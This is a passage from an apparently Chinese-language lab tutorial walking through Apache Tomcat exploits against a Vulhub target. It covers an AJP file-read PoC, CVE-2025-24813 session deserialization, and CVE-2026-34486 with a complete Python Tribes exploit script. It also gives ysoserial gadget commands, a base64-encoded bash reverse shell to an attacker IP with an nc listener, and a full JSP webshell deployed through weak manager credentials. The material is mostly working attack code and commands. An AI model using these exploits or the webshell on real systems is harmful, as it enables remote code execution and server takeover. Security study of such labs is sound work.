t.</span><span>perform_request</span><span>(</span></span><span>'/asdf'</span><span>,</span><span>attributes</span><span><span>=</span><span>[</span></span></div></div><div><div><div>297</div></div><div><span><span>    </span></span><span>{</span><span>'name'</span><span>:</span><span>'req_attribute'</span><span>,</span><span>'value'</span><span>:[</span><span>'javax.servlet.include.request_uri'</span><span>,</span><span>'/'</span><span>]},</span></div></div><div><div><div>298</div></div><div><span><span>    </span></span><span>{</span><span>'name'</span><span>:</span><span>'req_attribute'</span><span>,</span><span>'value'</span><span>:[</span><span>'javax.servlet.include.path_info'</span><span>,args.file]},</span></div></div><div><div><div>299</div></div><div><span><span>    </span></span><span>{</span><span>'name'</span><span>:</span><span>'req_attribute'</span><span>,</span><span>'value'</span><span>:[</span><span>'javax.servlet.include.servlet_path'</span><span>,</span><span>'/'</span><span>]},</span></div></div><div><div><div>300</div></div><div><span><span>    </span></span><span>])</span></div></div><div><div><div>301</div></div><div><span>print</span><span>(</span><span>'----------------------------'</span><span>)</span></div></div><div><div><div>302</div></div><div><span>print</span><span>(</span><span>""</span><span><span>.</span><span>join</span><span>([d.data </span></span><span>for</span><span> d </span><span>in</span><span> data]))</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>执行该POC脚本：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>python2 poc.py 192.168.197.88 -p 8009 -f WEB-INF/web.xml</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>该脚本会读取 Tomcat 的 <code>WEB-INF/web.xml</code> 配置文件。若目标应用存在文件上传功能，可配合该文件包含漏洞实现 RCE（注意：这里漏洞的效果是任意文件读取，但是任意文件读取的原理是利用 AJP 协议的 include 属性，欺骗 Tomcat 去读取任意文件，因此可以实现文件包含，但它在这里的直接效果是任意文件读取）。
<img alt="" loading="lazy" width="1920" height="1080" src="/_astro/Pasted%20image%2020261011104624.BsPcFcCS_27m35J.webp" /></p></section><section><h3>3. CVE-2025-24813（会话持久化反序列化 RCE）<a href="#3-cve-2025-24813会话持久化反序列化-rce"><span>#</span></a></h3><p>Tomcat 9.0.97 及更早版本中，当同时配置了 <code>readonly=false</code> 和基于文件的 Session 持久化时，攻击者可通过部分 PUT 请求向会话存储目录写入恶意序列化对象，再通过 <code>JSESSIONID</code> 触发反序列化，最终导致远程代码执行。</p><blockquote><p><strong>说明</strong>：Vulhub 靶场默认未包含 CommonsCollections 等第三方 Gadget 库，因此无法直接执行系统命令。我们可以先用 <strong>URLDNS 链</strong>验证反序列化漏洞是否存在，再讨论 RCE 利用。</p></blockquote><p><strong>① 生成 URLDNS Payload</strong></p><p>URLDNS 链仅依赖 JDK 内置类，不需要任何第三方库，非常适合用于漏洞验证。</p><p>这里使用DNSLog平台，网站为<code>https://dnslog.org/</code>。</p><p>同时需要使用ysoserial，下载链接如下（ysoserial 是 Java 反序列化利用的权威工具，可以生成各种 Gadget 链的序列化数据。）：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>然后使用ysoserial生成<strong>序列化 Payload 文件</strong>，命令如下：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>java --add-opens=java.base/java.util=ALL-UNNAMED \</span></div></div><div><div><div>2</div></div><div><span><span>     </span></span><span>--add-opens=java.base/java.net=ALL-UNNAMED \</span></div></div><div><div><div>3</div></div><div><span><span>     </span></span><span>-jar ysoserial-all.jar URLDNS "http://29d8d7ab.log.dnslog.pp.ua." &gt; payload.ser</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>注意将上面 <code>http://29d8d7ab.log.dnslog.pp.ua.</code> 替换为你自己的 DNSLog 域名即可。</p><p><strong>② 写入 Session 文件</strong></p><p>获取 <code>payload.ser</code> 的字节长度，然后发送带 <code>Content-Range</code> 头的 PUT 请求：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>L=$(stat -c%s payload.ser)</span></div></div><div><div><div>2</div></div><div><span>curl -X PUT "http://192.168.197.88:8080/deserialize/session" \</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>-H "Content-Type: application/octet-stream" \</span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>-H "Content-Range: bytes 0-$((L-1))/$L" \</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>--data-binary @payload.ser</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>预期响应</strong>：<code>HTTP/1.1 409 Conflict</code>。这是正常现象，表示 Tomcat 已将文件临时写入会话存储目录。</p><p><img alt="" loading="lazy" width="1561" height="410" src="/_astro/Pasted%20image%2020261012115240.Dwt85V63_QmTnj.webp" /></p><p><strong>③ 触发反序列化</strong></p><p>发送带有特殊 <code>JSESSIONID</code> cookie 的 GET 请求：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>curl "http://192.168.197.88:8080/" -H "Cookie: JSESSIONID=.deserialize"</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>预期响应</strong>：<code>HTTP/1.1 500 Internal Server Error</code>，错误信息为 <code>java.util.HashMap cannot be cast to java.lang.Long</code>。这也是正常现象——Tomcat 期望反序列化出一个 Session 对象，而我们提供的是 URLDNS 链的 HashMap，因此会抛出类型转换异常。<strong>这恰好证明反序列化已被触发。</strong>
<img alt="" loading="lazy" width="1564" height="913" src="/_astro/Pasted%20image%2020261012111729.CeCJ_qAr_1N5uha.webp" /></p><p><strong>④ 验证 DNS 请求</strong></p><p>登录 DNSLog 平台，查看是否收到来自靶机 IP 的 DNS 查询记录。如果有，则漏洞验证成功。</p><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261012111441.DAaJfAnk_2dBdzd.webp" /></p><p><strong>⑤ 进一步利用（补充）</strong></p><p>若需执行系统命令，需要向靶场容器添加 <code>commons-collections</code> 库（因为靶场中没有），然后使用 <code>CommonsCollections6</code> 链生成 Payload，重复步骤 ② 和 ③ 即可获得 RCE。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 生成 RCE Payload</span></div></div><div><div><div>2</div></div><div><span>java --add-opens=java.base/java.util=ALL-UNNAMED \</span></div></div><div><div><div>3</div></div><div><span><span>     </span></span><span>--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \</span></div></div><div><div><div>4</div></div><div><span><span>     </span></span><span>--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \</span></div></div><div><div><div>5</div></div><div><span><span>     </span></span><span>--add-opens=java.base/java.net=ALL-UNNAMED \</span></div></div><div><div><div>6</div></div><div><span><span>     </span></span><span>-jar ysoserial-all.jar CommonsCollections6 "touch /tmp/success" &gt; payload.ser</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>之后按相同步骤写入并触发，再进入容器验证 <code>/tmp/success</code> 是否被创建。</p></section><section><h3>4. CVE-2026-34486（Tribes EncryptInterceptor 绕过 RCE）<a href="#4-cve-2026-34486tribes-encryptinterceptor-绕过-rce"><span>#</span></a></h3><p>Tomcat Tribes 是 Tomcat 推出的集群框架，启用了 Tribes 的多个 Tomcat 实例之间会通过 Java 序列化机制交换消息；当配置了 <code>EncryptInterceptor</code> 后，这些序列化字节流会被加密传输。正常情况下，接收消息的 Tomcat 实例只有在解密成功后才会对消息进行反序列化，但官方在修复 CVE-2026-29146（Tribes EncryptInterceptor Padding Oracle 漏洞）时引入了一个 Bug，导致消息解密失败时后续处理流程没有被中止，字节流无论解密是否成功都会被继续转发给下层处理器，进而被反序列化执行。攻击者只需具备 Tribes 接收端口（默认 4000）的网络访问权限，即可向其发送包含 Java 反序列化 payload 的未加密消息，完全绕过 EncryptInterceptor 的加密保护，实现远程代码执行。该漏洞影响 Apache Tomcat 9.0.116、10.1.53 和 11.0.20 版本。</p><p>满足以下条件的 Tomcat 才可以被利用：</p><ul>
<li><code>&lt;Cluster&gt;</code> 在 <code>server.xml</code> 中显式启用</li>
<li><code>&lt;Cluster&gt;</code> 的 Channel 中配置了 <code>EncryptInterceptor</code>（未配置此拦截器的 Tribes 本就直接接受未加密消息，不属于该 CVE 的利用范畴）</li>
<li>Tribes 接收端口对攻击者网络可达（默认监听在 4000 端口）</li>
<li>classpath 中存在可用的反序列化利用链（如 Apache Commons Collections）</li>
</ul><p><strong>① 生成序列化 payload</strong></p><p>由于漏洞容器中 classpath 已包含 <code>commons-collections 3.2.1</code>，可以使用任意 Apache Commons Collections 反序列化链来执行任意系统命令。</p><p>首先，使用 ysoserial 生成序列化 payload：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>java \</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>--add-opens=java.base/java.util=ALL-UNNAMED \</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \</span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>--add-opens=java.base/java.net=ALL-UNNAMED \</span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>-jar ysoserial-all.jar CommonsCollections6 "touch /tmp/success" &gt; payload.ser</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1558" height="330" src="/_astro/Pasted%20image%2020261012121854.BqecOk7P_Z1N6e2S.webp" />
<strong>② 发送 payload 到 Tribes 端口</strong></p><p>然后使用目录的 <code>poc.py</code> 脚本将 payload 封装进 Tribes 数据帧，发送到接收端口：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>python3 poc.py -t 192.168.197.88 -p 4000 -f payload.ser</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1280" height="302" src="/_astro/Pasted%20image%2020261012122324.CQ05yjOh_wpgcl.webp" /></p><p><code>poc.py</code> 脚本如下：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#!/usr/bin/env python3</span></div></div><div><div><div>2</div></div><div><span>import</span><span> argparse</span></div></div><div><div><div>3</div></div><div><span>import</span><span> io</span></div></div><div><div><div>4</div></div><div><span>import</span><span> socket</span></div></div><div><div><div>5</div></div><div><span>import</span><span> struct</span></div></div><div><div><div>6</div></div><div><span>import</span><span> sys</span></div></div><div><div><div>7</div></div><div><span>import</span><span> time</span></div></div><div><div><div>8</div></div><div><span><span>HEADER</span><span> </span><span>=</span><span> </span></span><span>b</span><span>"FLT2002"</span></div></div><div><div><div>9</div></div><div><span><span>FOOTER</span><span> </span><span>=</span><span> </span></span><span>b</span><span>"TLF2003"</span></div></div><div><div><div>10</div></div><div><span><span>MEMBER_BEGIN</span><span> </span><span>=</span><span> </span></span><span>b</span><span>"TRIBES-B</span><span>\x01\x00</span><span>"</span></div></div><div><div><div>11</div></div><div><span><span>MEMBER_END</span><span> </span><span>=</span><span> </span></span><span>b</span><span>"TRIBES-E</span><span>\x01\x00</span><span>"</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span>def</span><span> </span><span>build_member</span><span>():</span></div></div><div><div><div>14</div></div><div><span><span>    </span></span><span>p </span><span>=</span><span> io.</span><span>BytesIO</span><span>()</span></div></div><div><div><div>15</div></div><div><span><span>    </span></span><span>p.</span><span>write</span><span>(struct.</span><span>pack</span><span>(</span><span>"&gt;q"</span><span>, </span><span>0</span><span>))</span></div></div><div><div><div>16</div></div><div><span><span>    </span></span><span>p.</span><span>write</span><span>(struct.</span><span>pack</span><span>(</span><span>"&gt;I"</span><span>, </span><span>4001</span><span>))</span></div></div><div><div><div>17</div></div><div><span><span>    </span></span><span>p.</span><span>write</span><span>(struct.</span><span>pack</span><span>(</span><span>"&gt;I"</span><span>, </span><span>0</span><span>))</span></div></div><div><div><div>18</div></div><div><span><span>    </span></span><span>p.</span><span>write</span><span>(struct.</span><span>pack</span><span>(</span><span>"&gt;I"</span><span>, </span><span>0</span><span>))</span></div></div><div><div><div>19</div></div><div><span><span>    </span></span><span>host </span><span>=</span><span> socket.</span><span>inet_aton</span><span>(</span><span>"127.0.0.1"</span><span>)</span></div></div><div><div><div>20</div></div><div><span><span>    </span></span><span>p.</span><span>write</span><span>(struct.</span><span>pack</span><span>(</span><span>"&gt;B"</span><span>, </span><span>len</span><span>(host)))</span></div></div><div><div><div>21</div></div><div><span><span>    </span></span><span>p.</span><span>write</span><span>(host)</span></div></div><div><div><div>22</div></div><div><span><span>    </span></span><span>p.</span><span>write</span><span>(struct.</span><span>pack</span><span>(</span><span>"&gt;I"</span><span>, </span><span>0</span><span>))</span></div></div><div><div><div>23</div></div><div><span><span>    </span></span><span>p.</span><span>write</span><span>(struct.</span><span>pack</span><span>(</span><span>"&gt;I"</span><span>, </span><span>0</span><span>))</span></div></div><div><div><div>24</div></div><div><span><span>    </span></span><span>p.</span><span>write</span><span>(</span><span>b</span><span>"</span><span>\x00</span><span>"</span><span><span> </span><span>*</span><span> </span></span><span>16</span><span>)</span></div></div><div><div><div>25</div></div><div><span><span>    </span></span><span>p.</span><span>write</span><span>(struct.</span><span>pack</span><span>(</span><span>"&gt;I"</span><span>, </span><span>0</span><span>))</span></div></div><div><div><div>26</div></div><div><span><span>    </span></span><span>body </span><span>=</span><span> p.</span><span>getvalue</span><span>()</span></div></div><div><div><div>27</div></div><div><span>    </span><span>return</span><span><span> </span><span>MEMBER_BEGIN</span><span> </span><span>+</span><span> struct.</span><span>pack</span><span>(</span></span><span>"&gt;I"</span><span>, </span><span>len</span><span><span>(body)) </span><span>+</span><span> body </span><span>+</span><span> </span><span>MEMBER_END</span></span></div></div><div><div><div>28</div></div><div>
</div></div><div><div><div>29</div></div><div><span>def</span><span> </span><span>build_packet</span><span>(</span><span>payload</span><span>:</span><span> </span><span>bytes</span><span>) -&gt; </span><span>bytes</span><span>:</span></div></div><div><div><div>30</div></div><div><span><span>    </span></span><span>b </span><span>=</span><span> io.</span><span>BytesIO</span><span>()</span></div></div><div><div><div>31</div></div><div><span><span>    </span></span><span>b.</span><span>write</span><span>(struct.</span><span>pack</span><span>(</span><span>"&gt;I"</span><span>, </span><span>0x</span><span>0008</span><span>))</span></div></div><div><div><div>32</div></div><div><span><span>    </span></span><span>b.</span><span>write</span><span>(struct.</span><span>pack</span><span>(</span><span>"&gt;Q"</span><span>, </span><span>int</span><span><span>(time.</span><span>time</span><span>() </span><span>*</span><span> </span></span><span>1000</span><span>)))</span></div></div><div><div><div>33</div></div><div><span><span>    </span></span><span>uuid </span><span>=</span><span> </span><span>b</span><span>"</span><span>\x01</span><span>"</span><span><span> </span><span>*</span><span> </span></span><span>16</span></div></div><div><div><div>34</div></div><div><span><span>    </span></span><span>b.</span><span>write</span><span>(struct.</span><span>pack</span><span>(</span><span>"&gt;I"</span><span>, </span><span>len</span><span>(uuid)))</span></div></div><div><div><div>35</div></div><div><span><span>    </span></span><span>b.</span><span>write</span><span>(uuid)</span></div></div><div><div><div>36</div></div><div><span><span>    </span></span><span>member </span><span>=</span><span> </span><span>build_member</span><span>()</span></div></div><div><div><div>37</div></div><div><span><span>    </span></span><span>b.</span><span>write</span><span>(struct.</span><span>pack</span><span>(</span><span>"&gt;I"</span><span>, </span><span>len</span><span>(member)))</span></div></div><div><div><div>38</div></div><div><span><span>    </span></span><span>b.</span><span>write</span><span>(member)</span></div></div><div><div><div>39</div></div><div><span><span>    </span></span><span>b.</span><span>write</span><span>(struct.</span><span>pack</span><span>(</span><span>"&gt;I"</span><span>, </span><span>len</span><span>(payload)))</span></div></div><div><div><div>40</div></div><div><span><span>    </span></span><span>b.</span><span>write</span><span>(payload)</span></div></div><div><div><div>41</div></div><div><span><span>    </span></span><span>data </span><span>=</span><span> b.</span><span>getvalue</span><span>()</span></div></div><div><div><div>42</div></div><div><span>    </span><span>return</span><span><span> </span><span>HEADER</span><span> </span><span>+</span><span> struct.</span><span>pack</span><span>(</span></span><span>"&gt;I"</span><span>, </span><span>len</span><span><span>(data)) </span><span>+</span><span> data </span><span>+</span><span> </span><span>FOOTER</span></span></div></div><div><div><div>43</div></div><div>
</div></div><div><div><div>44</div></div><div><span>def</span><span> </span><span>send</span><span>(</span><span>host</span><span>:</span><span> </span><span>str</span><span>,</span><span><span> </span><span>port</span></span><span>:</span><span> </span><span>int</span><span>,</span><span><span> </span><span>packet</span></span><span>:</span><span> </span><span>bytes</span><span>,</span><span><span> </span><span>timeout</span></span><span>:</span><span> </span><span>float</span><span>) -&gt; </span><span>None</span><span>:</span></div></div><div><div><div>45</div></div><div><span>    </span><span>with</span><span><span> socket.</span><span>socket</span><span>(socket.</span><span>AF_INET</span><span>, socket.</span><span>SOCK_STREAM</span><span>) </span></span><span>as</span><span> s:</span></div></div><div><div><div>46</div></div><div><span><span>        </span></span><span>s.</span><span>settimeout</span><span>(timeout)</span></div></div><div><div><div>47</div></div><div><span><span>        </span></span><span>s.</span><span>connect</span><span>((host, port))</span></div></div><div><div><div>48</div></div><div><span><span>        </span></span><span>s.</span><span>sendall</span><span>(packet)</span></div></div><div><div><div>49</div></div><div><span><span>        </span></span><span>s.</span><span>shutdown</span><span>(socket.</span><span>SHUT_WR</span><span>)</span></div></div><div><div><div>50</div></div><div><span>        </span><span>try</span><span>:</span></div></div><div><div><div>51</div></div><div><span><span>            </span></span><span>s.</span><span>recv</span><span>(</span><span>1</span><span>)</span></div></div><div><div><div>52</div></div><div><span>        </span><span>except</span><span> (socket.timeout, </span><span>OSError</span><span>):</span></div></div><div><div><div>53</div></div><div><span>            </span><span>pass</span></div></div><div><div><div>54</div></div><div>
</div></div><div><div><div>55</div></div><div><span>def</span><span> </span><span>parse_args</span><span>():</span></div></div><div><div><div>56</div></div><div><span><span>    </span></span><span>parser </span><span>=</span><span> argparse.</span><span>ArgumentParser</span><span>(</span></div></div><div><div><div>57</div></div><div><span>        </span><span>description</span><span>=</span><span>"CVE-2026-34486 - Tomcat Tribes EncryptInterceptor Bypass RCE"</span><span>,</span></div></div><div><div><div>58</div></div><div><span>        </span><span>epilog</span><span><span>=</span><span>(</span></span></div></div><div><div><div>59</div></div><div><span>            </span><span>"Generate a serialized payload first, e.g.:</span><span>\n</span><span>"</span></div></div><div><div><div>60</div></div><div><span>            </span><span>"  java -jar ysoserial.jar CommonsCollections6 'touch /tmp/success' &gt; payload.ser</span><span>\n</span><span>"</span></div></div><div><div><div>61</div></div><div><span>            </span><span>"Then send it:</span><span>\n</span><span>"</span></div></div><div><div><div>62</div></div><div><span>            </span><span>"  </span><span>%(prog)s</span><span> -t 127.0.0.1 -p 4000 -f payload.ser"</span></div></div><div><div><div>63</div></div><div><span><span>        </span></span><span>),</span></div></div><div><div><div>64</div></div><div><span>        </span><span>formatter_class</span><span><span>=</span><span>argparse.RawDescriptionHelpFormatter,</span></span></div></div><div><div><div>65</div></div><div><span><span>    </span></span><span>)</span></div></div><div><div><div>66</div></div><div><span><span>    </span></span><span>parser.</span><span>add_argument</span><span>(</span><span>"-t"</span><span>, </span><span>"--target"</span><span>, </span><span>required</span><span>=</span><span>True</span><span>, </span><span>help</span><span>=</span><span>"Tomcat Tribes receiver host"</span><span>)</span></div></div><div><div><div>67</div></div><div><span><span>    </span></span><span>parser.</span><span>add_argument</span><span>(</span><span>"-p"</span><span>, </span><span>"--port"</span><span>, </span><span>type</span><span>=</span><span>int</span><span>, </span><span>default</span><span>=</span><span>4000</span><span>, </span><span>help</span><span>=</span><span>"Tribes receiver port (default: 4000)"</span><span>)</span></div></div><div><div><div>68</div></div><div><span><span>    </span></span><span>parser.</span><span>add_argument</span><span>(</span></div></div><div><div><div>69</div></div><div><span>        </span><span>"-f"</span><span>, </span><span>"--file"</span><span>, </span><span>required</span><span>=</span><span>True</span><span>,</span></div></div><div><div><div>70</div></div><div><span>        </span><span>help</span><span>=</span><span>"Path to a Java serialized payload file (e.g. generated by ysoserial)"</span><span>,</span></div></div><div><div><div>71</div></div><div><span><span>    </span></span><span>)</span></div></div><div><div><div>72</div></div><div><span><span>    </span></span><span>parser.</span><span>add_argument</span><span>(</span><span>"--timeout"</span><span>, </span><span>type</span><span>=</span><span>float</span><span>, </span><span>default</span><span>=</span><span>3.0</span><span>, </span><span>help</span><span>=</span><span>"Socket timeout in seconds (default: 3)"</span><span>)</span></div></div><div><div><div>73</div></div><div><span>    </span><span>return</span><span><span> parser.</span><span>parse_args</span><span>()</span></span></div></div><div><div><div>74</div></div><div>
</div></div><div><div><div>75</div></div><div><span>def</span><span> </span><span>main</span><span>():</span></div></div><div><div><div>76</div></div><div><span><span>    </span></span><span>args </span><span>=</span><span> </span><span>parse_args</span><span>()</span></div></div><div><div><div>77</div></div><div><span>    </span><span>try</span><span>:</span></div></div><div><div><div>78</div></div><div><span>        </span><span>with</span><span> </span><span>open</span><span>(args.file, </span><span>"rb"</span><span>) </span><span>as</span><span> f:</span></div></div><div><div><div>79</div></div><div><span><span>            </span></span><span>payload </span><span>=</span><span> f.</span><span>read</span><span>()</span></div></div><div><div><div>80</div></div><div><span>    </span><span>except</span><span> </span><span>OSError</span><span> </span><span>as</span><span> e:</span></div></div><div><div><div>81</div></div><div><span>        </span><span>print</span><span>(</span><span>f</span><span>"[!] Failed to read payload file: </span><span>{</span><span>e</span><span>}</span><span>"</span><span>)</span></div></div><div><div><div>82</div></div><div><span><span>        </span></span><span>sys.</span><span>exit</span><span>(</span><span>1</span><span>)</span></div></div><div><div><div>83</div></div><div><span>    </span><span>print</span><span>(</span><span>f</span><span>"[*] CVE-2026-34486 Tomcat Tribes EncryptInterceptor Bypass RCE"</span><span>)</span></div></div><div><div><div>84</div></div><div><span>    </span><span>print</span><span>(</span><span>f</span><span>"[*] Target: </span><span>{</span><span>args.target</span><span>}</span><span>:</span><span>{</span><span>args.port</span><span>}</span><span>  Payload file: </span><span>{</span><span>args.file</span><span>}</span><span>"</span><span>)</span></div></div><div><div><div>85</div></div><div><span><span>    </span></span><span>packet </span><span>=</span><span> </span><span>build_packet</span><span>(payload)</span></div></div><div><div><div>86</div></div><div><span>    </span><span>print</span><span>(</span><span>f</span><span>"[+] Payload: </span><span>{</span><span>len</span><span>(payload)</span><span>}</span><span>B  Packet: </span><span>{</span><span>len</span><span>(packet)</span><span>}</span><span>B"</span><span>)</span></div></div><div><div><div>87</div></div><div><span>    </span><span>try</span><span>:</span></div></div><div><div><div>88</div></div><div><span><span>        </span></span><span>send</span><span>(args.target, args.port, packet, args.timeout)</span></div></div><div><div><div>89</div></div><div><span>    </span><span>except</span><span> </span><span>OSError</span><span> </span><span>as</span><span> e:</span></div></div><div><div><div>90</div></div><div><span>        </span><span>print</span><span>(</span><span>f</span><span>"[!] Send failed: </span><span>{</span><span>e</span><span>}</span><span>"</span><span>)</span></div></div><div><div><div>91</div></div><div><span><span>        </span></span><span>sys.</span><span>exit</span><span>(</span><span>1</span><span>)</span></div></div><div><div><div>92</div></div><div><span>    </span><span>print</span><span>(</span><span>"[+] Sent!"</span><span>)</span></div></div><div><div><div>93</div></div><div>
</div></div><div><div><div>94</div></div><div><span>if</span><span> </span><span>__name__</span><span><span> </span><span>==</span><span> </span></span><span>"__main__"</span><span>:</span></div></div><div><div><div>95</div></div><div><span><span>    </span></span><span>main</span><span>()</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p><strong>③ 验证命令执行</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>docker-compose exec tomcat ls -l /tmp</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>若文件存在，说明反序列化成功执行。</p><p><img alt="" loading="lazy" width="1564" height="914" src="/_astro/Pasted%20image%2020261012122450.E7hL8PZ__GtRK6.webp" /></p><p><strong>④ 补充：反弹 Shell</strong></p><p>将 <code>touch /tmp/success</code> 替换为反弹 Shell 命令，重新生成 Payload：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>java --add-opens=java.base/java.util=ALL-UNNAMED \</span></div></div><div><div><div>2</div></div><div><span><span>     </span></span><span>--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \</span></div></div><div><div><div>3</div></div><div><span><span>     </span></span><span>--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \</span></div></div><div><div><div>4</div></div><div><span><span>     </span></span><span>--add-opens=java.base/java.net=ALL-UNNAMED \</span></div></div><div><div><div>5</div></div><div><span><span>     </span></span><span>-jar ysoserial-all.jar CommonsCollections6 \</span></div></div><div><div><div>6</div></div><div><span><span>     </span></span><span>"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" &gt; payload.ser</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>然后重复发送步骤，并在 Kali 上启动监听：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>nc -lvnp 4444</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>若一切顺利，即可获得目标容器的反弹 Shell，这里不再演示。</p></section><section><h3>5. Tomcat7+ 弱口令 &amp; 后台 Getshell<a href="#5-tomcat7-弱口令--后台-getshell"><span>#</span></a></h3><p>Tomcat 8.0 版本中（这个漏洞的利用方式从 Tomcat 7 开始就存在，一直延续到后续版本，标题用“<strong>Tomcat7+</strong>”来概括“7 及以上所有版本”；而本次靶场环境用的是 Tomcat 8.0），若管理员配置了弱口令用户，攻击者可登录 manager 后台上传 war 包获取 Webshell。</p><p><strong>① 登录后台</strong></p><p>访问 <code>http://192.168.197.88:8080/manager/html</code>，输入弱密码：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>用户名：tomcat</span></div></div><div><div><div>2</div></div><div><span>密码：tomcat</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261012123904.0NL95XJc_VbfpL.webp" /></p><p><strong>② 制作 war 包</strong></p><p>在 Kali 桌面新建一个文本文件，命名为 shell.jsp，内容如下（这是一个蚁剑可用的 JSP 木马，密码为 pass）：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;%!</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>class U extends ClassLoader {</span></div></div><div><div><div>4</div></div><div><span><span>        </span></span><span>U(ClassLoader c) { super(c); }</span></div></div><div><div><div>5</div></div><div><span><span>        </span></span><span>public Class g(byte[] b) { return super.defineClass(b, 0, b.length); }</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>public byte[] base64Decode(String str) throws Exception {</span></div></div><div><div><div>8</div></div><div><span><span>        </span></span><span>return new sun.misc.BASE64Decoder().decodeBuffer(str);</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>10</div></div><div><span>%&gt;</span></div></div><div><div><div>11</div></div><div><span>&lt;%</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>if (request.getParameter("pass") != null) {</span></div></div><div><div><div>13</div></div><div><span><span>        </span></span><span>byte[] b = base64Decode(request.getParameter("pass"));</span></div></div><div><div><div>14</div></div><div><span><span>        </span></span><span>new U(this.getClass().getClassLoader()).g(b).newInstance().equals(pageContext);</span></div></div><div><div><div>15</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>16</div></div><div><span>%&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>使用 zip 命令生成 war 包（WAR 本质就是 ZIP）：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>cd /root/桌面</span></div></div><div><div><div>2</div></div><div><span>zip shell.war shell.jsp</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>③ 上传 war 包</strong></p><p>登录后台后，在 WAR file to deploy 区域选择 shell.war，点击 Deploy。Tomcat 会自动解压到 /shell/ 目录下。
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261012125317.5kbdXzQl_AXGHP.webp" /></p><p><strong>④ 访问木马</strong></p><p>浏览器访问：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://192.168.197.88:8080/shell/shell.jsp</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>如果页面空白且没有报错，说明木马部署成功。</p><p><strong>⑤ 使用蚁剑连接</strong></p><p>打开蚁剑，添加数据：</p><ul>
<li><strong>URL</strong>：<code>http://192.168.197.88:8080/shell/shell.jsp</code></li>
<li><strong>密码</strong>：<code>pass</code></li>
</ul><p>测试连接，成功即可管理文件、执行命令。</p><p><img alt="" loading="lazy" width="1284" height="866" src="/_astro/Pasted%20image%2020261012125011.B_s0Vg1D_Z2sUnHl.webp" /></p></section></section>
<section><h2>三、漏洞原理总结<a href="#三漏洞原理总结"><span>#</span></a></h2>

